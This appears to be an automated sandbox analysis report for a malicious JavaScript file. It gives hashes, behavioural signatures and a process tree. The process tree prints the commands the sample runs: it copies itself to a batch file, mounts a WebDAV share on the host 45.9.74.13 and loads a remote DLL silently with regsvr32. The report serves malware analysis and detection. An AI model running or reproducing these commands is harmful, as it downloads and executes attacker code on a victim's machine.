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Analysis
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max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
10/07/2024, 01:25
Static task
static1
Behavioral task
behavioral1
Sample
30557306321113626945.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
30557306321113626945.js
Resource
win10v2004-20240709-en
General
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Target
30557306321113626945.js
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Size
5KB
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MD5
cff872d6669a626c019b2e1c157d1410
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SHA1
a1eaabf62b9be46406f832e3e2d78b935c645bc6
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SHA256
5095d9c7d58c3c90b2379a40be496467d78803b5c0daa3cb3215a51e105b77ae
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SHA512
59cba94910f0bad56fe3239a322f1de8952ee9191687e21fd6d93feac35f4a166721984485de291124570a1ab63bcd9fcfa631c0dcf52f80385f51bdb84a136e
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SSDEEP
96:PUbwTauP7naqAnaq5dekQKJLx2LcIqMHWC2vTlmVYqBpWkW9kEWg:yukQKJLffC24qR9kxg
Malware Config
Signatures
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Runs net.exe
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Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2660 regsvr32.exe -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 1564 wrote to memory of 2404 1564 wscript.exe 30 PID 1564 wrote to memory of 2404 1564 wscript.exe 30 PID 1564 wrote to memory of 2404 1564 wscript.exe 30 PID 2404 wrote to memory of 2360 2404 cmd.exe 32 PID 2404 wrote to memory of 2360 2404 cmd.exe 32 PID 2404 wrote to memory of 2360 2404 cmd.exe 32 PID 2404 wrote to memory of 2660 2404 cmd.exe 33 PID 2404 wrote to memory of 2660 2404 cmd.exe 33 PID 2404 wrote to memory of 2660 2404 cmd.exe 33 PID 2404 wrote to memory of 2660 2404 cmd.exe 33 PID 2404 wrote to memory of 2660 2404 cmd.exe 33
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\30557306321113626945.js1⤵
- Suspicious use of WriteProcessMemory
PID:1564 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\30557306321113626945.js" "C:\Users\Admin\\uvgedr.bat" && "C:\Users\Admin\\uvgedr.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:2404 -
C:\Windows\system32\net.exenet use \\45.9.74.13@8888\DavWWWRoot\3⤵PID:2360
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C:\Windows\system32\regsvr32.exeregsvr32 /s \\45.9.74.13@8888\DavWWWRoot\392.dll3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2660
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5KB
MD5cff872d6669a626c019b2e1c157d1410
SHA1a1eaabf62b9be46406f832e3e2d78b935c645bc6
SHA2565095d9c7d58c3c90b2379a40be496467d78803b5c0daa3cb3215a51e105b77ae
SHA51259cba94910f0bad56fe3239a322f1de8952ee9191687e21fd6d93feac35f4a166721984485de291124570a1ab63bcd9fcfa631c0dcf52f80385f51bdb84a136e